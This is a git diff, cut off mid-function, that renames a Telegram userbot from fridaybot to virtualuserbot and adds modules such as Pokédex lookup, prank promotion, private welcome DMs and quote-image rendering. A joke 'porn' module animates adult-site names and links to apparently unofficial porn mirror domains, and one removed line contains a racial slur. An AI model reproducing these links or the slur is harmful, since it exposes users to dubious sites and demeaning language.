{weight}\n\nFamily\nID:- {Id}\nEvolution Stage:- {evo}\nEvolution Line:- {xy}\nStarter:- {start}\nLegendary:- {leg}\nMythical:- {myt}\nUltra Beast:- {ultra}\nMega:- {megA}\nGen:- {gEn}\nDescription:- {des}" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() + + +CMD_HELP.update( + { + "pokedex": "**Pokedex**\ +\n\n**Syntax : **`.pokedex `\ +\n**Usage :** Gives Information About Given Pokemon.\ +\n\n**Example : **`.pokedex pikachu`\ +\nThis above syntax gives Information about Pikachu" + } +) diff --git a/fridaybot/modules/police.py b/virtualuserbot/modules/police.py similarity index 97% rename from fridaybot/modules/police.py rename to virtualuserbot/modules/police.py index 56ae3ce5..2c81f6e7 100644 --- a/fridaybot/modules/police.py +++ b/virtualuserbot/modules/police.py @@ -2,7 +2,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Friday Userbot" diff --git a/fridaybot/modules/polls.py b/virtualuserbot/modules/polls.py similarity index 100% rename from fridaybot/modules/polls.py rename to virtualuserbot/modules/polls.py diff --git a/virtualuserbot/modules/porn.py b/virtualuserbot/modules/porn.py new file mode 100644 index 00000000..de91c096 --- /dev/null +++ b/virtualuserbot/modules/porn.py @@ -0,0 +1,103 @@ +# unban pornsites here +# +# lol jee lo apni zindagi +# +# HeHe created by @danish_00 +# +# 😂😂😂 + +import asyncio + +from virtualuserbot import pro + +from ..utils import admin_cmd + +if pro == True: + + @borg.on(admin_cmd(pattern="porn")) + async def _(event): # @danish_00 original + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 8) + + await event.edit("`Connecting...`") + + animation_chars = [ # @danish_00 original + "P_", + "PO_", + "POR_", + "PORN_", + "PORNH_", + "PORNHU_", + "PORNHUB_", + "[PORNHUB](www.porn93.cc)👄👅💦💦", # @danish_00 original + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 8]) + + @borg.on(admin_cmd(pattern=r"xvideos")) + async def _(event): + + if event.fwd_from: # @danish_00 original + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 7) + + await event.edit("`Connecting...`") + + animation_chars = [ + "X_", + "XV_", + "XVI_", + "XVID_", + "XVIDE_", + "XVIDEO_", + "[XVIDEOS](www.xvideos4.com)🖕👄💦💦", + ] # @danish_00 original + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 7]) + + import asyncio + + @borg.on(admin_cmd(pattern=r"xnxx")) # @danish_00 original + async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 5) + + await event.edit("`Connecting...`") # @danish_00 original + + animation_chars = [ + "X_", + "XN_", + "XNX_", + "XNXX_", + "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦", + ] + # @danish_00 original + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 5]) diff --git a/fridaybot/modules/poto.py b/virtualuserbot/modules/poto.py similarity index 90% rename from fridaybot/modules/poto.py rename to virtualuserbot/modules/poto.py index 20558e10..bb4a7227 100644 --- a/fridaybot/modules/poto.py +++ b/virtualuserbot/modules/poto.py @@ -5,8 +5,8 @@ import logging -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd logger = logging.getLogger(__name__) @@ -74,7 +74,7 @@ async def potocmd(event): else: - await event.edit("`No photo found of that Nigga , now u Die`") + await event.edit("`මූ ලග පොටෝ එකක් නෑ 😅 `") return diff --git a/fridaybot/modules/power_tools.py b/virtualuserbot/modules/power_tools.py similarity index 88% rename from fridaybot/modules/power_tools.py rename to virtualuserbot/modules/power_tools.py index 10ab6ae5..94be4701 100644 --- a/fridaybot/modules/power_tools.py +++ b/virtualuserbot/modules/power_tools.py @@ -8,8 +8,8 @@ import os import sys -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("restart")) @@ -41,8 +41,8 @@ async def _(event): { "power_tools": "**Power Tools**\ \n\n**Syntax : **`.restart`\ -\n**Usage :** restarts your Friday userbot.\ +\n**Usage :** restarts your Virtualuserbot.\ \n\n**Syntax : **`.shutdown`\ -\n**Usage :** Shuts down your Friday userbot." +\n**Usage :** Shuts down your Virtualuserbot." } ) diff --git a/virtualuserbot/modules/prankpromote.py b/virtualuserbot/modules/prankpromote.py new file mode 100644 index 00000000..a02956e4 --- /dev/null +++ b/virtualuserbot/modules/prankpromote.py @@ -0,0 +1,66 @@ +"""Reply to a user to .promote them in the current chat""" +import logging + +logging.basicConfig( + format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING +) +from datetime import datetime + +from telethon.tl.functions.channels import EditAdminRequest +from telethon.tl.types import ChatAdminRights + +from ..utils import admin_cmd + +""" +@borg.on(admin_cmd(pattern="promote ?(.*)")) +async def _(event): + if event.fwd_from: + return + start = datetime.now() + to_promote_id = None + rights = ChatAdminRights( + change_info=True, + post_messages=True, + edit_messages=True, + delete_messages=True, + ban_users=True, + invite_users=True, + pin_messages=True, + add_admins=True, + ) + input_str = event.pattern_match.group(1) + reply_msg_id = event.message.id + if reply_msg_id: + r_mesg = await event.get_reply_message() + to_promote_id = r_mesg.sender_id + elif input_str: + to_promote_id = input_str + try: + await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, "")) + except (Exception) as exc: + await event.edit(str(exc)) + else: + await event.edit("Successfully Promoted") +""" + + +@borg.on(admin_cmd(pattern="prankpromote ?(.*)")) +async def _(event): + if event.fwd_from: + return + datetime.now() + to_promote_id = None + rights = ChatAdminRights(post_messages=True) + input_str = event.pattern_match.group(1) + reply_msg_id = event.message.id + if reply_msg_id: + r_mesg = await event.get_reply_message() + to_promote_id = r_mesg.sender_id + elif input_str: + to_promote_id = input_str + try: + await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, "")) + except (Exception) as exc: + await event.edit(str(exc)) + else: + await event.edit("Successfully Promoted") diff --git a/virtualuserbot/modules/privatewelcome.py b/virtualuserbot/modules/privatewelcome.py new file mode 100644 index 00000000..aabb87cf --- /dev/null +++ b/virtualuserbot/modules/privatewelcome.py @@ -0,0 +1,162 @@ +from telethon import events + +from virtualuserbot import BOTLOG_CHATID, CMD_HELP, bot, pro + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd +from .sql_helper import pmpermit_sql as pmpermit_sql +from .sql_helper.welcomesql import ( + addwelcome_setting, + getcurrent_welcome_settings, + rmwelcome_setting, +) + +if pro == "True": + + @bot.on(events.ChatAction) + async def _(event): + cws = getcurrent_welcome_settings(event.chat_id) + if ( + cws + and (event.user_joined or event.user_added) + and not (await event.get_user()).bot + ): + a_user = await event.get_user() + chat = await event.get_chat() + me = await bot.get_me() + title = chat.title or "this chat" + participants = await bot.get_participants(chat) + count = len(participants) + mention = "{}".format( + a_user.id, a_user.first_name + ) + my_mention = "{}".format(me.id, me.first_name) + first = a_user.first_name + last = a_user.last_name + fullname = f"{first} {last}" if last else first + username = f"@{a_user.username}" if a_user.username else mention + userid = a_user.id + my_first = me.first_name + my_last = me.last_name + my_fullname = f"{my_first} {my_last}" if my_last else my_first + my_username = f"@{me.username}" if me.username else my_mention + file_media = None + current_saved_welcome_message = None + if cws: + if cws.f_mesg_id: + msg_o = await event.client.get_messages( + entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id) + ) + file_media = msg_o.media + current_saved_welcome_message = msg_o.message + elif cws.reply: + current_saved_welcome_message = cws.reply + if not pmpermit_sql.is_approved(userid): + pmpermit_sql.approve(userid, "Due to private welcome") + current_message = await event.client.send_message( + userid, + current_saved_welcome_message.format( + mention=mention, + title=title, + count=count, + first=first, + last=last, + fullname=fullname, + username=username, + userid=userid, + my_first=my_first, + my_last=my_last, + my_fullname=my_fullname, + my_username=my_username, + my_mention=my_mention, + ), + file=file_media, + parse_mode="html", + ) + + @bot.on(admin_cmd(pattern=r"savepwel ?(.*)")) + @bot.on(sudo_cmd(pattern=r"savepwel ?(.*)", allow_sudo=True)) + async def save_welcome(event): + if event.fwd_from: + return + msg = await event.get_reply_message() + string = "".join(event.text.split(maxsplit=1)[1:]) + msg_id = None + if msg and msg.media and not string: + if BOTLOG_CHATID: + await bot.send_message( + BOTLOG_CHATID, + f"#WELCOME_NOTE\ + \nCHAT ID: {event.chat_id}\ + \nThe following message is saved as the welcome note for the {event.chat.title}, Dont delete this message !!", + ) + msg_o = await event.client.forward_messages( + entity=BOTLOG_CHATID, + messages=msg, + from_peer=event.chat_id, + silent=True, + ) + msg_id = msg_o.id + else: + await edit_or_reply( + event, + "`Saving media as part of the welcome note requires the BOTLOG_CHATID to be set.`", + ) + return + elif event.reply_to_msg_id and not string: + rep_msg = await event.get_reply_message() + string = rep_msg.text + success = "`Welcome note {} for this chat.`" + if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: + return await edit_or_reply(event, success.format("saved")) + rmwelcome_setting(event.chat_id) + if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: + return await edit_or_reply(event, success.format("updated")) + await edit_or_reply("Error while setting welcome in this group") + + @bot.on(admin_cmd(pattern="clearpwel$")) + @bot.on(sudo_cmd(pattern="clearpwel$", allow_sudo=True)) + async def del_welcome(event): + if event.fwd_from: + return + if rmwelcome_setting(event.chat_id) is True: + await edit_or_reply(event, "`Welcome note deleted for this chat.`") + else: + await edit_or_reply(event, "`Do I have a welcome note here ?`") + + @bot.on(admin_cmd(pattern="listpwel$")) + @bot.on(sudo_cmd(pattern="listpwel$", allow_sudo=True)) + async def show_welcome(event): + if event.fwd_from: + return + cws = getcurrent_welcome_settings(event.chat_id) + if not cws: + await edit_or_reply(event, "`No pwelcome message saved here.`") + return + if cws.f_mesg_id: + msg_o = await bot.get_messages(entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id)) + await edit_or_reply( + event, "`I am currently pwelcoming new users with this welcome note.`" + ) + await event.reply(msg_o.message, file=msg_o.media) + elif cws.reply: + await edit_or_reply( + event, "`I am currently pwelcoming new users with this welcome note.`" + ) + await event.reply(cws.reply) + + +CMD_HELP.update( + { + "privatewelcome": "**Plugin :** `privatewelcome`\ +\n\n A PRO PLUGIN..\ +\n\n • **Syntax :** `.savepwel` or reply to a message with .savepwel\ +\n • **Function :** Saves the message as a welcome note in the chat.\ +\n\n • Available variables for formatting welcome messages :\ +\n`{mention}, {title}, {count}, {first}, {last}, {fullname}, {userid}, {username}, {my_first}, {my_fullname}, {my_last}, {my_mention}, {my_username}`\ +\n\n • **Syntax :** `.listpwel`\ +\n • **Function :** Check whether you have a welcome note in the chat.\ +\n\n • **Syntax :** `.clearpwel`\ +\n • **Function :** Deletes the welcome note for the current chat.\ +" + } +) diff --git a/fridaybot/modules/pro_nub.py b/virtualuserbot/modules/pro_nub.py similarity index 97% rename from fridaybot/modules/pro_nub.py rename to virtualuserbot/modules/pro_nub.py index af76bdaf..8e095769 100644 --- a/fridaybot/modules/pro_nub.py +++ b/virtualuserbot/modules/pro_nub.py @@ -10,8 +10,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("(.*)")) diff --git a/fridaybot/modules/profile.py b/virtualuserbot/modules/profile.py similarity index 75% rename from fridaybot/modules/profile.py rename to virtualuserbot/modules/profile.py index 1d096f0e..42ae10b3 100644 --- a/fridaybot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -2,12 +2,43 @@ .pbio .pname .ppic""" +import asyncio import os +from telethon import functions from telethon.tl import functions from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP + + +@friday.on(friday_on_cmd(pattern="a2c(?: |$)(.*)")) +async def _(event): + event.pattern_match.group(1) + if event.reply_to_msg_id: + hmm = await event.get_reply_message() + id_s = hmm.sender_id + elif event.pattern_match.group(1): + id_s = event.pattern_match.group(1) + elif event.is_private: + id_s = await event.get_input_chat() + user_s = await event.client.get_entity(id_s) + if user_s.last_name is None: + sed_m = " " + else: + sed_m = user_s.last_name + await event.client( + functions.contacts.AddContactRequest( + id=id_s, + first_name=user_s.first_name, + last_name=sed_m, + phone="123456", + add_phone_privacy_exception=True, + ) + ) + star = await event.edit("**Added To Contacts SucessFully**") + await asyncio.sleep(3) + await star.delete() @friday.on(friday_on_cmd(pattern="pbio (.*)")) # pylint:disable=E0602 diff --git a/fridaybot/modules/programmer_jokes.py b/virtualuserbot/modules/programmer_jokes.py similarity index 61% rename from fridaybot/modules/programmer_jokes.py rename to virtualuserbot/modules/programmer_jokes.py index fd6f900f..78039e6a 100644 --- a/fridaybot/modules/programmer_jokes.py +++ b/virtualuserbot/modules/programmer_jokes.py @@ -11,11 +11,11 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . - import pyjokes -from uniborg.util import friday_on_cmd +from howdoi import howdoi -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"pjoke")) @@ -25,10 +25,23 @@ async def hi(event): await event.edit(pyjokes.get_joke(category="all")) +@friday.on(friday_on_cmd(pattern="howdoi ?(.*)")) +async def __(event): + query = event.pattern_match.group(1) + if query == None: + await event.edit("`Give Some Query First`") + return + output = howdoi.howdoi(query) + lel = f"Here is Your Answer \n{output}" + await event.edit(lel, parse_mode="HTML") + + CMD_HELP.update( { "programmer_jokes": "**Programmer Jokes**\ \n\n**Syntax : **`.pjoke`\ -\n**Usage :** Get programmer jokes." +\n**Usage :** Get programmer jokes.\ +\n\n**Syntax : **`.howdoi `\ +\n**Usage :** Gives Answers For Given Programming Questions." } ) diff --git a/fridaybot/modules/proxyscrape.py b/virtualuserbot/modules/proxyscrape.py similarity index 97% rename from fridaybot/modules/proxyscrape.py rename to virtualuserbot/modules/proxyscrape.py index 7eecf216..6daa0d55 100644 --- a/fridaybot/modules/proxyscrape.py +++ b/virtualuserbot/modules/proxyscrape.py @@ -8,8 +8,8 @@ from pySmartDL import SmartDL -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd STARK_HTTP = "https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all" HTTP_TXT = "**Proxy Info** \nType: __HTTPS__ \nTimeOut: __10000__ \nCountry: __All__ \nSsl: All \nAnonymity: __All__ \n[Click Here To View Or Download File Manually](https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all) \nUploaded By [Friday](https://github.com/starkgang/FridayUserBot) \n**Here Is Your Proxy** 👇" diff --git a/fridaybot/modules/purge.py b/virtualuserbot/modules/purge.py similarity index 90% rename from fridaybot/modules/purge.py rename to virtualuserbot/modules/purge.py index f247d186..7f2478c4 100644 --- a/fridaybot/modules/purge.py +++ b/virtualuserbot/modules/purge.py @@ -9,14 +9,14 @@ from telethon.errors import rpcbaseerrors -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import errors_handler, register +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.utils import errors_handler, register @register(outgoing=True, pattern="^.purge$") @errors_handler async def fastpurger(purg): - """ For .purge command, purge all messages starting from the reply. """ + """For .purge command, purge all messages starting from the reply.""" chat = await purg.get_input_chat() msgs = [] count = 0 @@ -47,7 +47,7 @@ async def fastpurger(purg): @register(outgoing=True, pattern="^.purgeme") @errors_handler async def purgeme(delme): - """ For .purgeme, delete x count of your latest message.""" + """For .purgeme, delete x count of your latest message.""" message = delme.text count = int(message[9:]) i = 1 @@ -74,7 +74,7 @@ async def purgeme(delme): @register(outgoing=True, pattern="^.del$") @errors_handler async def delete_it(delme): - """ For .del command, delete the replied message. """ + """For .del command, delete the replied message.""" msg_src = await delme.get_reply_message() if delme.reply_to_msg_id: try: @@ -94,7 +94,7 @@ async def delete_it(delme): @register(outgoing=True, pattern="^.edit") @errors_handler async def editer(edit): - """ For .editme command, edit your last message. """ + """For .editme command, edit your last message.""" message = edit.text chat = await edit.get_input_chat() self_id = await edit.client.get_peer_id("me") @@ -115,7 +115,7 @@ async def editer(edit): @register(outgoing=True, pattern="^.sd") @errors_handler async def selfdestruct(destroy): - """ For .sd command, make seflf-destructable messages. """ + """For .sd command, make seflf-destructable messages.""" message = destroy.text counter = int(message[4:6]) text = str(destroy.text[6:]) diff --git a/fridaybot/modules/pyocr.py b/virtualuserbot/modules/pyocr.py similarity index 89% rename from fridaybot/modules/pyocr.py rename to virtualuserbot/modules/pyocr.py index 29e66e70..3500d09a 100644 --- a/fridaybot/modules/pyocr.py +++ b/virtualuserbot/modules/pyocr.py @@ -7,9 +7,9 @@ import pytesseract -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="read$")) diff --git a/fridaybot/modules/qr_code.py b/virtualuserbot/modules/qr_code.py similarity index 99% rename from fridaybot/modules/qr_code.py rename to virtualuserbot/modules/qr_code.py index 9de03acd..98c350f5 100644 --- a/fridaybot/modules/qr_code.py +++ b/virtualuserbot/modules/qr_code.py @@ -10,7 +10,7 @@ from bs4 import BeautifulSoup from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP def progress(current, total): diff --git a/fridaybot/modules/quickheal.py b/virtualuserbot/modules/quickheal.py similarity index 99% rename from fridaybot/modules/quickheal.py rename to virtualuserbot/modules/quickheal.py index ea7d01f7..5cb323f4 100644 --- a/fridaybot/modules/quickheal.py +++ b/virtualuserbot/modules/quickheal.py @@ -9,7 +9,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/quote.py b/virtualuserbot/modules/quote.py similarity index 94% rename from fridaybot/modules/quote.py rename to virtualuserbot/modules/quote.py index aad5fe22..19aa4f5c 100644 --- a/fridaybot/modules/quote.py +++ b/virtualuserbot/modules/quote.py @@ -14,8 +14,8 @@ from quote import quote -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="qs (.*)")) diff --git a/fridaybot/modules/quotes.py b/virtualuserbot/modules/quotes.py similarity index 96% rename from fridaybot/modules/quotes.py rename to virtualuserbot/modules/quotes.py index 573559ff..2d067e7c 100644 --- a/fridaybot/modules/quotes.py +++ b/virtualuserbot/modules/quotes.py @@ -3,7 +3,7 @@ import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="quote ?(.*)")) diff --git a/virtualuserbot/modules/quotly.py b/virtualuserbot/modules/quotly.py new file mode 100644 index 00000000..1fee8e01 --- /dev/null +++ b/virtualuserbot/modules/quotly.py @@ -0,0 +1,490 @@ +# This file is part of NiceGrill. + +# NiceGrill is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# NiceGrill is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with NiceGrill. If not, see . + +import json +import os +import random +import textwrap +import urllib + +import emoji +from fontTools.ttLib import TTFont +from PIL import Image, ImageDraw, ImageFont, ImageOps +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError +from telethon.tl import functions, types + +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd + +COLORS = [ + "#F07975", + "#F49F69", + "#F9C84A", + "#8CC56E", + "#6CC7DC", + "#80C1FA", + "#BCB3F9", + "#E181AC", +] + + +class Quote: + async def process(msg, user, client, reply, replied=None): + font = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 43, encoding="utf-16") + font2 = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 33, encoding="utf-16") + mono = ImageFont.truetype("Fonts/DroidSansMono.ttf", 30, encoding="utf-16") + italic = ImageFont.truetype("Fonts/Roboto-Italic.ttf", 33, encoding="utf-16") + fallback = ImageFont.truetype("Fonts/Quivira.otf", 43, encoding="utf-16") + # Splitting text + maxlength = 0 + width = 0 + text = [] + for line in msg.split("\n"): + length = len(line) + if length > 43: + text += textwrap.wrap(line, 43) + maxlength = 43 + if width < fallback.getsize(line[:43])[0]: + if "MessageEntityCode" in str(reply.entities): + width = mono.getsize(line[:43])[0] + 30 + else: + width = fallback.getsize(line[:43])[0] + next + else: + text.append(line + "\n") + if width < fallback.getsize(line)[0]: + if "MessageEntityCode" in str(reply.entities): + width = mono.getsize(line)[0] + 30 + else: + width = fallback.getsize(line)[0] + if maxlength < length: + maxlength = length + + title = "" + try: + details = await client( + functions.channels.GetParticipantRequest(reply.chat_id, user.id) + ) + if isinstance(details.participant, types.ChannelParticipantCreator): + title = ( + details.participant.rank if details.participant.rank else "Creator" + ) + elif isinstance(details.participant, types.ChannelParticipantAdmin): + title = ( + details.participant.rank if details.participant.rank else "Admin" + ) + except TypeError: + pass + titlewidth = font2.getsize(title)[0] + + # Get user name + lname = "" if not user.last_name else user.last_name + tot = user.first_name + " " + lname + + namewidth = fallback.getsize(tot)[0] + 10 + + if namewidth > width: + width = namewidth + width += ( + titlewidth + 30 if titlewidth > width - namewidth else -(titlewidth - 30) + ) + height = len(text) * 40 + + # Profile Photo BG + pfpbg = Image.new("RGBA", (125, 600), (0, 0, 0, 0)) + + # Draw Template + top, middle, bottom = await Quote.drawer(width, height) + # Profile Photo Check and Fetch + yes = False + color = random.choice(COLORS) + async for photo in client.iter_profile_photos(user, limit=1): + yes = True + if yes: + pfp = await client.download_profile_photo(user) + paste = Image.open(pfp) + os.remove(pfp) + paste.thumbnail((105, 105)) + + # Mask + mask_im = Image.new("L", paste.size, 0) + draw = ImageDraw.Draw(mask_im) + draw.ellipse((0, 0, 105, 105), fill=255) + + # Apply Mask + pfpbg.paste(paste, (0, 0), mask_im) + else: + paste, color = await Quote.no_photo(user, tot) + pfpbg.paste(paste, (0, 0)) + + # Creating a big canvas to gather all the elements + canvassize = ( + middle.width + pfpbg.width, + top.height + middle.height + bottom.height, + ) + canvas = Image.new("RGBA", canvassize) + draw = ImageDraw.Draw(canvas) + + y = 80 + if replied: + # Creating a big canvas to gather all the elements + replname = "" if not replied.sender.last_name else replied.sender.last_name + reptot = replied.sender.first_name + " " + replname + font2.getsize(reptot)[0] + if reply.sticker: + sticker = await reply.download_media() + stimg = Image.open(sticker) + canvas = canvas.resize((stimg.width + pfpbg.width, stimg.height + 160)) + top = Image.new("RGBA", (200 + stimg.width, 300), (29, 29, 29, 255)) + draw = ImageDraw.Draw(top) + await Quote.replied_user( + draw, reptot, replied.message.replace("\n", " "), 20 + ) + top = top.crop((135, 70, top.width, 300)) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width + 10, 0)) + canvas.paste(stimg, (pfpbg.width + 10, 140)) + os.remove(sticker) + return True, canvas + canvas = canvas.resize((canvas.width + 60, canvas.height + 120)) + top, middle, bottom = await Quote.drawer(middle.width + 60, height + 105) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + draw = ImageDraw.Draw(canvas) + if replied.sticker: + replied.text = "Sticker" + elif replied.photo: + replied.text = "Photo" + elif replied.audio: + replied.text = "Audio" + elif replied.voice: + replied.text = "Voice Message" + elif replied.document: + replied.text = "Document" + await Quote.replied_user( + draw, + reptot, + replied.message.replace("\n", " "), + maxlength + len(title), + len(title), + ) + y = 200 + elif reply.sticker: + sticker = await reply.download_media() + stimg = Image.open(sticker) + canvas = canvas.resize((stimg.width + pfpbg.width + 30, stimg.height + 10)) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(stimg, (pfpbg.width + 10, 10)) + os.remove(sticker) + return True, canvas + elif reply.document and not reply.audio and not reply.audio: + docname = ".".join(reply.document.attributes[-1].file_name.split(".")[:-1]) + doctype = reply.document.attributes[-1].file_name.split(".")[-1].upper() + if reply.document.size < 1024: + docsize = str(reply.document.size) + " Bytes" + elif reply.document.size < 1048576: + docsize = str(round(reply.document.size / 1024, 2)) + " KB " + elif reply.document.size < 1073741824: + docsize = str(round(reply.document.size / 1024 ** 2, 2)) + " MB " + else: + docsize = str(round(reply.document.size / 1024 ** 3, 2)) + " GB " + docbglen = ( + font.getsize(docsize)[0] + if font.getsize(docsize)[0] > font.getsize(docname)[0] + else font.getsize(docname)[0] + ) + canvas = canvas.resize((pfpbg.width + width + docbglen, 160 + height)) + top, middle, bottom = await Quote.drawer(width + docbglen, height + 30) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + canvas = await Quote.doctype(docname, docsize, doctype, canvas) + y = 80 if text else 0 + else: + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + y = 85 + + # Writing User's Name + space = pfpbg.width + 30 + namefallback = ImageFont.truetype("Fonts/Quivira.otf", 43, encoding="utf-16") + for letter in tot: + if letter in emoji.UNICODE_EMOJI: + newemoji, mask = await Quote.emoji_fetch(letter) + canvas.paste(newemoji, (space, 24), mask) + space += 40 + else: + if not await Quote.fontTest(letter): + draw.text((space, 20), letter, font=namefallback, fill=color) + space += namefallback.getsize(letter)[0] + else: + draw.text((space, 20), letter, font=font, fill=color) + space += font.getsize(letter)[0] + + if title: + draw.text( + (canvas.width - titlewidth - 20, 25), title, font=font2, fill="#898989" + ) + + # Writing all separating emojis and regular texts + x = pfpbg.width + 30 + bold, mono, italic, link = await Quote.get_entity(reply) + index = 0 + emojicount = 0 + textfallback = ImageFont.truetype("Fonts/Quivira.otf", 33, encoding="utf-16") + textcolor = "white" + for line in text: + for letter in line: + index = ( + msg.find(letter) + if emojicount == 0 + else msg.find(letter) + emojicount + ) + for offset, length in bold.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Medium.ttf", 33, encoding="utf-16" + ) + textcolor = "white" + for offset, length in italic.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Italic.ttf", 33, encoding="utf-16" + ) + textcolor = "white" + for offset, length in mono.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/DroidSansMono.ttf", 30, encoding="utf-16" + ) + textcolor = "white" + for offset, length in link.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Regular.ttf", 30, encoding="utf-16" + ) + textcolor = "#898989" + if letter in emoji.UNICODE_EMOJI: + newemoji, mask = await Quote.emoji_fetch(letter) + canvas.paste(newemoji, (x, y - 2), mask) + x += 45 + emojicount += 1 + else: + if not await Quote.fontTest(letter): + draw.text((x, y), letter, font=textfallback, fill=textcolor) + x += textfallback.getsize(letter)[0] + else: + draw.text((x, y), letter, font=font2, fill=textcolor) + x += font2.getsize(letter)[0] + msg = msg.replace(letter, "¶", 1) + y += 40 + x = pfpbg.width + 30 + return True, canvas + + async def drawer(width, height): + # Top part + top = Image.new("RGBA", (width, 20), (0, 0, 0, 0)) + draw = ImageDraw.Draw(top) + draw.line((10, 0, top.width - 20, 0), fill=(29, 29, 29, 255), width=50) + draw.pieslice((0, 0, 30, 50), 180, 270, fill=(29, 29, 29, 255)) + draw.pieslice( + (top.width - 75, 0, top.width, 50), 270, 360, fill=(29, 29, 29, 255) + ) + + # Middle part + middle = Image.new("RGBA", (top.width, height + 75), (29, 29, 29, 255)) + + # Bottom part + bottom = ImageOps.flip(top) + + return top, middle, bottom + + async def fontTest(letter): + test = TTFont("Fonts/Roboto-Medium.ttf") + for table in test["cmap"].tables: + if ord(letter) in table.cmap.keys(): + return True + + async def get_entity(msg): + bold = {0: 0} + italic = {0: 0} + mono = {0: 0} + link = {0: 0} + if not msg.entities: + return bold, mono, italic, link + for entity in msg.entities: + if isinstance(entity, types.MessageEntityBold): + bold[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityItalic): + italic[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityCode): + mono[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityUrl): + link[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityTextUrl): + link[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityMention): + link[entity.offset] = entity.offset + entity.length + return bold, mono, italic, link + + async def doctype(name, size, type, canvas): + font = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + doc = Image.new("RGBA", (130, 130), (29, 29, 29, 255)) + draw = ImageDraw.Draw(doc) + 